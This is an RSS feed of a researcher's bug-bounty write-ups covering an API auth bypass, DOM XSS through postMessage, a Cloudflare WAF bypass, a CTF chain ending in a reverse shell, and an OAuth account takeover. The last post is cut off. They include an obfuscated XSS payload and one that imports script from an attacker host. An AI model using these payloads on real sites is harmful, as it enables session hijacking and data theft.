<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by phlmox on Medium]]></title>
        <description><![CDATA[Stories by phlmox on Medium]]></description>
        <link>https://medium.com/@phlmox?source=rss-47a4c114027c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kIjyouTSom-cF_AxoScWYQ.jpeg</url>
            <title>Stories by phlmox on Medium</title>
            <link>https://medium.com/@phlmox?source=rss-47a4c114027c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 08:10:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@phlmox/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Authentication Bypass on Taboola API’s]]></title>
            <link>https://phlmox.medium.com/authentication-bypass-on-taboola-apis-852ab215c383?source=rss-47a4c114027c------2</link>
            <guid isPermaLink="false">https://medium.com/p/852ab215c383</guid>
            <dc:creator><![CDATA[phlmox]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 09:11:02 GMT</pubDate>
            <atom:updated>2026-07-18T09:18:42.690Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog post is about the authentication bypass vulnerability I found in Taboola APIs. Firstly, what is Taboola?</p><p>Taboola is a large advertisement company that bridges between publishers and advertisers. They have a large attack surface together with the other components they own (Skimlinks, Connexity, etc …).</p><p>They serve two distinct API’s for different purposes. Newsroom API and Backstage API. Newsroom API is an analytics platform and provides reports for companies and shows publishers’ information. Also, there is a Backstage API, that helps advertisers to manage their campaigns and users.</p><p>Let’s get to the issue. To use these API’s, we need a access_token which is granted by the backstage API. This operation requires client_id and the client_secret to authenticate the user. A standalone client_id or client_secret is useless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*2xCNR9WbD_DZUnoOE5mIgg.png" /></figure><p>However while going through applications hosted on other Taboola subdomains, I have found a worthy one: <a href="https://destinations.taboola.com/">https://destinations.taboola.com/</a>. This backend server is now shut down but when it was operational, it was redirected the user to the https://authentication.taboola.com address. When I checked the source of the page, I saw the index.js script and inspected it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*QJXjL_TuKM63iyKsklbgrg.png" /></figure><p>While looking over the script, I saw an interesting API endpoint in the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*5-wtsEwRY7IDS-lqr9A9nQ.png" /></figure><p>This route was expecting a POST request but the expected body wasn’t in the script. It is easy to find a valid client_id since they are all hardcoded in Taboola’s scripts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*xcrzpWfGn7tROrsbAyBjtQ.png" /></figure><p>However we don’t have the client_secret information to authenticate successfully with it. I took my chance and tried Backstage API’s request body but I removed the client_secret parameter since it is unknown to us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*GnHITtiTE0HGQr_aSsrakQ.png" /></figure><p>And to my surprise it worked and granted me a valid access token. I believe this endpoint was created and used by the developers for testing purposes at the time and they forgot to shut it down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*aoaIGdYRr4a_azXiaNDa5w.png" /></figure><p>Now since I successfully authenticated, it’s time to check who the authenticated user is, which API’s can we access and what capabilities our account has.</p><p>Newsroom API doesn’t have API routes known to the public except one that lists articles. I used FFUF, fast web fuzzer, to discover more and I found these routes:</p><p><strong>/api/publishers:</strong> Returns every existent publisher.</p><p><strong>/api/publisher/&lt;publisher_id&gt;:</strong> Returns a single publisher information based on supplied ID.</p><p><strong>/api/newsroom/bulkAddUsers &amp; /api/newsroom/addUser: </strong>These routes were found via the Javascript analysis in the newsroom.taboola.com app. However I couldn’t find a way to use them, They gave the same error every time.</p><p><strong>/api/me:</strong> This route was responsible for returning the current user information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*YyyZ4_ZdKmTV_DkGTNxhGw.png" /></figure><p>The full_name was “Taboola-X Backstage API” actually, I added a ‘2’ suffix to prove the impact without causing any harm. This response also shown that the current user has admin privileges.</p><p>Then I went to check this access_token on Backstage API to see if it’s going to work. Backstage API has public API documentation, so I didn’t work too hard to find routes and valid parameters: <a href="https://developers.taboola.com/backstage-api/reference/welcome">https://developers.taboola.com/backstage-api/reference/welcome</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_JpCRwOQj3IKwxdlLhRLA.png" /></figure><p>To test the access_token on the Backstage API, I ended up on “Get Account Details” route:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*AM1-ttlkwTPV8o5m38UNjg.png" /></figure><p>I made a GET request to this route and it returned the following response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*MYdPUhENFg5hSs3M03BVeg.png" /></figure><p>This means, I could create/read/modify campaigns. I was also able to access email addresses of the publishers. There was an authenticated image upload endpoint in order to use in campaigns and I tested it too. I uploaded a Super Mario image from my local device and it successfully uploaded to Taboola CDN.: <a href="https://cdn.taboola.com/libtrc/static/thumbnails/IMAGE_UPSCALER/EIU/a9c11a70-167f-41d5-8e37-4cfe3f506b0f__ZdsjTf53.jpg">https://cdn.taboola.com/libtrc/static/thumbnails/IMAGE_UPSCALER/EIU/a9c11a70–167f-41d5–8e37–4cfe3f506b0f__ZdsjTf53.jpg</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5gsqynztMHDnuCSq.jpg" /></figure><p>Reported this vulnerability to Taboola Security Team on June 20 and the web app who granted an access_token without providing a client_secret is completely gone now.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=852ab215c383" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Message Listeners -> Dom XSS]]></title>
            <link>https://phlmox.medium.com/insecure-message-listeners-dom-xss-6e5b43b4b915?source=rss-47a4c114027c------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e5b43b4b915</guid>
            <dc:creator><![CDATA[phlmox]]></dc:creator>
            <pubDate>Wed, 11 Mar 2026 13:39:15 GMT</pubDate>
            <atom:updated>2026-03-11T13:39:28.246Z</atom:updated>
            <content:encoded><![CDATA[<p>In this writeup, I will write about a recent finding in my bug bounty session. I have been hunting on this target for more than a year and have reported a few critical and high severity issues. When it feels like all bugs have been exhausted, reading JavaScript files can often help uncover more.</p><p>Everything started when I noticed one route in the app ( Let’s call it <strong>/my-route</strong> ) using an iframe to display the content from <strong>frame.redacted.com.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vfMjFxa2CzDF50eThbhOA.jpeg" /><figcaption>Image generated with Nano Banana 2</figcaption></figure><p>The main web app has the <strong>X-Frame-Options</strong> header set to DENY, as expected. This setting prevents attackers from embedding the web app in an iframe from a third-party context and in the <strong>frame.redacted.com </strong>app, the <strong>X-Frame-Options </strong>header should be set to <strong>SAMEORIGIN</strong> in order to prevent attackers from fetching the page in an iframe from other origins. Another solution is to use <strong>Content-Security-Policy </strong>header to set who can iframe the app. This solution might be useful for allowing iframe from third party apps. However the developers chose neither. The page on the <strong>frame.redacted.com </strong>was frameable by anyone because of the lack of an <strong>X-Frame-Options </strong>header.</p><p>We don’t care about the contents of the iframe actually. What we care about is how this iframe and its ancestor (the page that embedded it) is communicating. There is a Javascript file <strong>app.js</strong> loaded in the frame.redacted.com. This script contains a bunch of functions, configurations, etc… but most importantly message listeners. Since this script is loaded on frame.redacted.com, this page will listen for messages from its ancestor to perform different kinds of actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5wMw_wO_ZCTJwac8klQ0lQ.jpeg" /><figcaption>Image generated with Nano Banana 2</figcaption></figure><p>Message listeners which are not meant to be public, must check the message sender’s origin to make sure only allowed origins can communicate. However, it is also important to implement these security controls properly. Some origin checks can be flawed:</p><pre>.indexOf(&#39;redacted.com&#39;)&gt;-1 // -&gt; redacted.com.attacker.com returns 0<br>.startsWith(&#39;redacted.com&#39;) // -&gt; redacted.com.attacker.com returns true<br>.endsWith(&#39;redacted.com&#39;) // -&gt; attacker-redacted.com returns true</pre><p>After reading the message listeners in the target Javascript file, one message listener caught my attention.</p><pre>var t = document.createElement(&quot;a&quot;);<br>window.addEventListener(&quot;message&quot;, function(e) {<br>    e.origin.startsWith(h.a.angularHost) &amp;&amp; e.data &amp;&amp; e.data.type &amp;&amp; (e.data.type.includes(&quot;routingToBB&quot;) &amp;&amp; e.data.payload.path ? (t.href = e.data.payload.path, document.getElementsByClassName(&quot;header-right&quot;)[0].appendChild(t), t.click()) : e.data.type.includes(&quot;toBB&quot;))<br>})</pre><p>Let’s inspect what this message listener does:</p><ul><li>We have predefined anchor element ‘<strong>t’</strong> which will be used later.</li><li>When a message sent to this page, this message listener will be triggered along with the other message listeners.</li></ul><p>The code block first checks the sender origin.</p><pre>e.origin.startsWith(h.a.angularHost)</pre><p>But as you can see this is the flawed check of origin control as I showed in the example above. So it’s easy to bypass this part by creating a domain such as <strong>redacted.com.attacker.com</strong> that contains the trusted string. So the final PoC will work on <strong>redacted.com.attacker.com</strong> which is owned by me.</p><p>After bypassing the security check, code checks for the required payload parameters. It checks if data exists, if the data type exists and the data’s type includes the keyword ‘routingToBB’. As you may have guessed, the purpose of this listener is to redirect the user. Then it checks if the path parameter is defined in the payload. If all the conditions are met, this block will be executed next:</p><pre>(t.href = e.data.payload.path, document.getElementsByClassName(&quot;header-right&quot;)[0].appendChild(t), t.click())</pre><p>This is the sink we were looking for. It sets the path parameter as the href attribute of the anchor element, it appends the element to the page and then automatically click on it.</p><p>If we put javascript:alert(1) as path parameter, this Javascript will be executed in the frame.redacted.com without any user interaction.</p><p>Here is the PoC for the exploit flow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_NOFbvaXlPxdB3oks2nr9Q.png" /></figure><p>And the alert popup for proof of concept:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*3Zv5zZ_xLNGFCOb_hfiVGg.png" /></figure><blockquote>Note: You might think this is also possible by calling <strong>window.open</strong> after a button click and then sending the payload to the opened window, but it isn’t. The <strong>frame.redacted.com</strong> page closes itself if it is not embedded.</blockquote><p>I didn’t report it as just a simple alert popup. Instead, I demonstrated how it could be used to perform malicious actions on behalf of the user. The frame.redacted.com domain was trusted by the API server and the application was using a session cookie instead of an authorization header. All of this allowed me to send authorized API requests on behalf of the victim by using the Javascript <strong>fetch</strong> function with credentials attribute set to “<strong>include</strong>”.</p><p>I got some help from the AI to write Javascript code for me to get all critical information from the API routes and send it to an attacker controlled server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WeWqOA0AEZv2IW9Qm6o3FQ.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e5b43b4b915" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[TR] Reflected XSS CloudFlare Bypass]]></title>
            <link>https://phlmox.medium.com/tr-reflected-xss-cloudflare-bypass-a4e9ff9a45cf?source=rss-47a4c114027c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4e9ff9a45cf</guid>
            <dc:creator><![CDATA[phlmox]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 21:04:20 GMT</pubDate>
            <atom:updated>2026-01-09T21:04:20.907Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese merhaba,</p><p>Bu yazımda Bug bounty sırasında bulduğum bir RXSS zafiyetini paylaşmak istedim. Hedefe ait API servisini test ederken bir HTTP isteğinin cevabında bir parametrenin yansıdığını ve Content-Type header’ının text/html olduğunu gördüm (API’de alışıldık değil). Bu HTML injection zafiyetini CloudFlare WAF bypasslayarak XSS zafiyetine dönüştürdüm. Fazla uzatmadan rapora geçelim.</p><p>Zafiyetin bulunduğu website aslında uygulamanın API’si üzerinde. İstek şu şekilde:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*akql0Mq8aJk0eryssT9StQ.png" /></figure><p>Bu istek gönderildiğinde cevap olarak şu geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*tRXE1H8SmHmvt2a4aJjxGA.png" /></figure><p>Cevapta görebileceğiniz üzere period parametresinde bizden gün sayısı isteniyor. Bu alana ‘a’ olarak verdiğimiz değer sayfada for .. days olarak yansıyor. Geriye verdiğimiz parametre üzerinde bir temizlik işlemi yapılıp yapılmadığını tespit etmek kalıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*ROrIQWJWETtwGQ2H3uyMPA.png" /></figure><p>‘&lt;h1&gt;asd’ olarak verdiğim girdinin sayfada yansıdığını görüyoruz. Şimdi geriye yalnızca Javascript çalıştırmak kaldı. Basit bir XSS payload’ı denediğimizde Cloudflare tarafından bloklanıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*EJkQmUutETEZMGLIrtx2qw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*ofhQhqYU4t-6t2fIg-mM1Q.png" /></figure><p>İlk olarak RenwaX23&#39;ün <a href="https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md">XSS payloadları listesini </a>denedim. Burada farklı durumlar için farklı payload’lar var fakat buradan hiçbir şey işe yarar görünmüyor çünkü Cloudflare `` ve () karakterlerini blokluyor. Bu da doğrudan fonksiyon çalıştırmayı engelliyor. Bu noktada XSS elde etmek için bir diğer şansımız document.body.innerHTML ile sayfaya XSS payload’ımızı inject etmek.</p><pre>document.body.innerHTML=&#39;x&#39;</pre><p>Tabii ki bu payload’ı doğrudan kullanmak işe yaramayacak ve Cloudflare WAF bizi bloklayacak. Çünkü Cloudflare this, window, document, body, innerHTML gibi keyword’leri de birlikte kullanıldığı zaman blokluyor.</p><p>Ama self keyword’ü bloklanmamış. Bu keyword’ü kullanarak şu şekilde document.body.innerHTML özelliğine erişebiliriz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*IWDDmvLVIFOmkOIh3n7qpg.png" /></figure><p>Tabii ki Cloudflare bu sırada uyumuyor. Eğer self[“document”][“body”] ifadesini parametrede kullanırsak bizi blokluyor. Bu durumun çözümü için Javascript’in “Character escape” özelliğini kullanabiliriz: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_escape">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_escape</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*AIyUoaEzqTNKtK1zsUZRmQ.png" /></figure><p>Görülebileceği üzere karakterlerin hex değerleri kullanılarak \xHH, \uHHHH veya \u{HHH} kaçışları kullanılabiliyor. Örneğin ‘A’ (hex=41) karakterini</p><ul><li>\x41</li><li>\u0041</li><li>\u{41}</li></ul><p>formatlarında ifade edebiliriz. Burada biraz oyalandıktan sonra şu garip davranışı farkettim:</p><ul><li>Eğer \uHHHH kaçışı kullanılırsa Cloudflare bunu kolaylıkla tespit edip geri çevirebiliyor. Fakat garip bir şekilde \u{HHH} kaçışı kullanılırsa burada bizi bloklamıyor.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*M_dmllPO63ub1wDQHEPUcQ.png" /></figure><p>İkisi de aynı çıktıyı veriyor fakat 2.si WAF tarafından bloklanmıyor. Bu özelliği kullanmak için basit bir Python fonksiyonu yazdım. 2 escape’i de sırasıyla kullanarak kafasını karıştırmaya çalışıyor. Açıkcası sırası ile kullanımın çok işe yaradığını düşünmüyorum ve muhtemelen yalnızca \u{HH} kaçışı da işe yarayacaktı fakat bunu çoktan yazmış bulundum 😔</p><pre>&gt;&gt;&gt; def enc(txt):<br>...     for i,c in enumerate(txt):<br>...             if i%2==0:<br>...                     print(&quot;\\x&quot;+str(hex(ord(c)))[2:],end=&quot;&quot;)<br>...             else:<br>...                     print(&quot;\\u{&quot;+str(hex(ord(c)))[2:]+&quot;}&quot;,end=&quot;&quot;)<br>...     print()</pre><p>Çıktısı ise şu şekilde:</p><pre>&gt;&gt;&gt; enc(&quot;document&quot;)<br>\x64\u{6f}\x63\u{75}\x6d\u{65}\x6e\u{74}<br>&gt;&gt;&gt; enc(&quot;body&quot;)<br>\x62\u{6f}\x64\u{79}<br>&gt;&gt;&gt; enc(&quot;innerHTML&quot;)<br>\x69\u{6e}\x6e\u{65}\x72\u{48}\x54\u{4d}\x4c</pre><p>Şu anda aşağıdaki payload ile sayfa üzerinde a nesnesini document.body olarak tanımlayabiliyoruz:</p><pre>&lt;img src=x onerror=a=self[&quot;\x64\u{6f}\x63\u{75}\x6d\u{65}\x6e\u{74}&quot;][&quot;\x62\u{6f}\x64\u{79}&quot;]&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/257/1*Zkb3OzS3gdnRmtxPh4J8HQ.png" /></figure><p>Fakat şimdi başka bir sıkıntımız var:</p><ul><li>Cloudflare, a[x]=1 şeklindeki ifadeleri yakaladığında isteği direkt blokluyor. Fakat a=1 ifadesi bloklanmıyor. Yani a[“innerHTML”]=”asd” işlemini gerçekleştiremiyoruz.</li><li>Cloudflare ayrıca a.innerHTML ifadesini de blokluyor.</li></ul><p>Tam kenara kısılmışken, Javascript tekrar esnekliğiyle yardımımıza koşuyor. Javascript, document.body.inner\u0048TML ifadesini kabul ediyor. Fakat Cloudflare etmiyor, bu ifadeyi gördüğü anda blokluyor. Ama daha önce de Cloudflare’in dikkatinden kaçan \u{HH} escape’ini denediğimizde bir kez daha işimize yaradığını, bloklanmadığımızı görüyoruz.</p><p>Daha öncesinde a nesnesini document.body olarak tanımlamıştık. Şimdi yapmamız gereken ise innerHTML ile sayfaya son payload’ı basmak.</p><pre>a.inner\u{48}TML = &#39;asd&#39;</pre><p>Son testimizi yaptığımızda başarıyla çalıştığını ve body içeriğinin ‘asd’ değeri olduğunu görüyoruz. Alert almak için ise daha önce kullandığımız character escaped string üreten python fonksiyonuna ‘&lt;img src=x onerror=alert()&gt;’ vererek</p><p>\x3c\u{69}\x6d\u{67}\x20\u{73}\x72\u{63}\x3d\u{78}\x20\u{6f}\x6e\u{65}\x72\u{72}\x6f\u{72}\x3d\u{61}\x6c\u{65}\x72\u{74}\x28\u{29}\x3e</p><p>çıktısını alıyoruz. Son olarak tüm parçaları birleştirdiğimizde elimizde şu oluşuyor:</p><pre>&lt;img src=x onerror=a=self[&quot;\x64\u{6f}\x63\u{75}\x6d\u{65}\x6e\u{74}&quot;][&quot;\x62\u{6f}\x64\u{79}&quot;],a.inner\u{48}TML=&#39;\x3c\u{69}\x6d\u{67}\x20\u{73}\x72\u{63}\x3d\u{78}\x20\u{6f}\x6e\u{65}\x72\u{72}\x6f\u{72}\x3d\u{61}\x6c\u{65}\x72\u{74}\x28\u{29}\x3e&#39;;&gt;</pre><p>Burada yaptığımız şey şu:</p><ul><li>Öncelikle ‘self’ bize sayfada <strong>Window.self</strong>özelliğine erişim sağlıyor.</li><li>Self üzerinden sırasıyla önce document, sonrasında body özelliğine erişim sağlıyor ve bu document.body, a isimli değişkende tutuluyor.</li><li>Hemen sonrasında body innerHTML modifiye edilerek XSS payload’ı yerleştiriliyor.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*tgDA_CWbpTQulCPJ1TJzUg.png" /></figure><p>Ama impact artırmak için daha etkili Javascript kullanmamız lazım. URL’i de şişirmek istemediğimizden, kendi sunucumdan yazdığım Javascript kodunu çekmek için şöyle bir yöntem kullandım:</p><pre>&lt;iframe src=javascript:import(&#39;//attacker.server/js.js&#39;)&gt;</pre><p>Böylelikle URL’i daha fazla şişirmeden çalışmasını istediğimiz Javascript kodunu saldırgan sunucusundan çekerek çalıştırabiliyoruz.</p><p>Son payload:</p><pre>&lt;img src=x onerror=a=self[&quot;\x64\u{6f}\x63\u{75}\x6d\u{65}\x6e\u{74}&quot;][&quot;\x62\u{6f}\x64\u{79}&quot;],a.inner\u{48}TML=&#39;\x3c\u{69}\x66\u{72}\x61\u{6d}\x65\u{20}\x73\u{72}\x63\u{3d}\x6a\u{61}\x76\u{61}\x73\u{63}\x72\u{69}\x70\u{74}\x3a\u{69}\x6d\u{70}\x6f\u{72}\x74\u{28}\x27\u{2f}\x2f\u{61}\x74\u{74}\x61\u{63}\x6b\u{65}\x72\u{2e}\x73\u{65}\x72\u{76}\x65\u{72}\x2f\u{6a}\x73\u{2e}\x6a\u{73}\x27\u{29}\x3e&#39;;&gt;</pre><p>Teşekkürler ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4e9ff9a45cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intigriti’s XSS Challenge 1125 Writeup]]></title>
            <link>https://phlmox.medium.com/intigritis-xss-challenge-1125-writeup-867432898ec0?source=rss-47a4c114027c------2</link>
            <guid isPermaLink="false">https://medium.com/p/867432898ec0</guid>
            <dc:creator><![CDATA[phlmox]]></dc:creator>
            <pubDate>Mon, 24 Nov 2025 11:06:08 GMT</pubDate>
            <atom:updated>2025-11-27T22:23:28.383Z</atom:updated>
            <content:encoded><![CDATA[<p>Here is my solution for the November challenge of Intigriti.</p><p>Firstly, I inspected the web app and tested its functionality for a bit. I tried the purchase feature and cart features but found nothing interesting.</p><p>After a few tests, I noticed there is a role badge on my dashboard and we are in the user role by default. Then I thought: if there is a role “user”, there must also be an “admin” role.</p><p>In order to make our role admin, I thought of editing the user profile and looking for a mass assignment vulnerability, but since there is no edit user feature, we can’t achieve this.</p><p>Then I wondered if there might be a path for high-privileged users and tried the path /admin. When I visited the page, I saw that the web app returns an error indicating this route is for admin users only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/0*qymbMwMJhiojV4kU" /></figure><p>The web app decides our role based on our JWT payload. But as you know, we can’t modify the JWT payload since we don’t know the secret key used to sign this JWT. JSON Web Tokens are signed with the secret key on the server side and then given to the user.</p><p>If a user ever tries to modify their JWT payload, in almost every case they will see an error page indicating JWT verification failed. For JWT manipulation, we can try different types of attacks: <a href="http://portswigger.net/web-security/jwt">http://portswigger.net/web-security/jwt</a></p><p>In my case, I thought to manipulate the JWT to make my account role admin, and after changing alg to none in the JWT header, I could change the JWT payload without any signature verification. When we change the encryption algorithm to none, we can bypass the signature verification and modify the JWT payload as we&#39;d like to.</p><p>Original /admin route response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cKQEKMe-aLRUuiAh" /></figure><p>Modified JWT /admin route response when we change the alg to none and role to admin:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pGlFXRrRp-tozxJ0" /></figure><p>I changed the role to admin in the JWT payload and successfully accessed the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*141LfxulAsK5OlVth6gK_g.png" /></figure><p>On the admin page, I saw there is a feature for admin users to edit their username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1r8qo1OknRVAE6e6TPs9tQ.png" /></figure><p>After a few tests, I noticed this part was vulnerable to SSTI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*lbcEtWXFvsKMrRZuL3wSAA.png" /></figure><p>Then I used an SSTI payload I found on <a href="https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation">YesWeHack’s blog</a> to achieve RCE. Finally, I used a simple bash reverse shell to pop a shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u-kp13QKLxgkVyHLNrcCbQ.png" /></figure><p>Here is our shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klCKx5am1bRjN3ZKVpF0Bw.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=867432898ec0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Third Party Account Linking Account Takeover]]></title>
            <link>https://phlmox.medium.com/third-party-account-linking-account-takeover-971062e0c737?source=rss-47a4c114027c------2</link>
            <guid isPermaLink="false">https://medium.com/p/971062e0c737</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[phlmox]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 13:34:29 GMT</pubDate>
            <atom:updated>2025-08-26T13:37:52.799Z</atom:updated>
            <content:encoded><![CDATA[<p>This story is about how third party account linking could lead to Account takeover.</p><p>The target allows its users to link their social media accounts (Google, Telegram, Twitch) to the main account. To use this feature, you just go to your profile dashboard and click on the social media button you’d like to link. Let’s do the normal linking process.</p><p>When you click the button (for example, Twitch), it makes a GET request to the backend API to initiate the linking process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*Yt34QEhUCyt7Z1JyutOsHQ.png" /></figure><p>It redirects us to the middleware server, which our target also owns. Here is the response to the request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*33nzjidZ9jFBBnEKyomPdw.png" /></figure><p>The JWT contains a UserID and a redirectURL. Then this middleware server redirects us to Twitch’s OAuth login:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hc0ahFdEsmnwkjGPPYFFMg.png" /></figure><p>As you can see in the Location header, developers chose not to use the state parameter in the Twitch OAuth implementation. The state parameter is not required according to Twitch’s developer documentation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*97mNwCWak1VbZ6SPMCZP9g.png" /></figure><p>It’s not required but recommended for CSRF prevention. Why is it not required? Because you can implement your own protection for CSRF. But some devs choose not to.</p><p>Let’s continue with the authentication. After you type your credentials and log in, Twitch redirects us back to the middleware server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*s9uKF_D_fWKkRCZqd5It8A.png" /></figure><p>Here is the callback request and response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Axl3_9w7BQ3SajIF5G_Fmg.png" /></figure><p>Then the middleware server redirects us to the main app. But we don’t need to see the rest of the authentication process because the issue lies in the middleware server.</p><p>Here are the problems with the process:</p><ol><li>The state parameter is not used by the devs. There are also no custom CSRF protections.</li><li>The 2 requests we need to call uses GET Method, so we don’t need to worry about the SameSite attribute.</li></ol><p>Steps to reproduce:</p><p>We, as the attacker will first do the normal linking process. When we reach the callback request, we will save the callback code and drop the request. Since this code is tied to the Twitch account and not our account in the application, we can use this code to access other people’s accounts by linking our callback code to their accounts.</p><ol><li>First, we need to trigger the bind request on the victim’s end (see first image). This will tell the application that the victim wants to link a social media account. Otherwise, the application will not link the social media account to the victim’s account. The process needs to be initiated.</li><li>Then we will do the callback request on the victim’s end with our callback code. This will link our social media account to their main account. As a result, we will be able to log in to their account using our social media account.</li></ol><p>PoC:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9DWBWscUqRcvXSldWcFptA.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=971062e0c737" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found an Authentication Bypass in a Dev Environment]]></title>
            <link>https://phlmox.medium.com/how-i-found-an-authentication-bypass-in-a-dev-environment-7f58602a8c4e?source=rss-47a4c114027c------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f58602a8c4e</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[legionhunter]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[phlmox]]></dc:creator>
            <pubDate>Mon, 07 Apr 2025 17:19:29 GMT</pubDate>
            <atom:updated>2025-05-05T12:49:45.297Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*diAk9NlNAFAwGHpi1lGWuA.gif" /><figcaption>GIF created using Canva Free Edition</figcaption></figure><p>This writeup is about how I found an authentication bypass during one of my bug bounty sessions.</p><p>When starting a new test, my approach is to learn the target well. If the scope includes all target assets, I analyze JS files and Wayback data to find more assets. While doing the same for my target (let’s call it <strong>target.com</strong>), I found a <strong>devtarget.com</strong> address in one of the JS files. When I visited this address in my browser, there was HTTP Authentication in place. I tried admin/password but had no luck.</p><p>After failing authentication on <strong>devtarget.com</strong>, I wanted to see if this domain also had the same subdomains as the production site. Fortunately, I found <strong>backend.devtarget.com</strong>. Then, I wanted to check if there were routes on <strong>devtarget.com</strong> that weren’t available in the production application. I used <strong>FFUF</strong> and my Burp Suite extension (<strong>Copy As FFUF Command</strong>) to fuzz the API routes.</p><p>It is available in the BApp Store for both Community and Pro editions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*CD2VNDbjuG3Ww7ZZX5ryHQ.png" /></figure><p>After fuzzing, I found the <strong>/api/docs</strong> route, which was Swagger UI Docs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CHzuC0t3ksjWMXEAXiW--w.png" /></figure><p>And there, all the routes 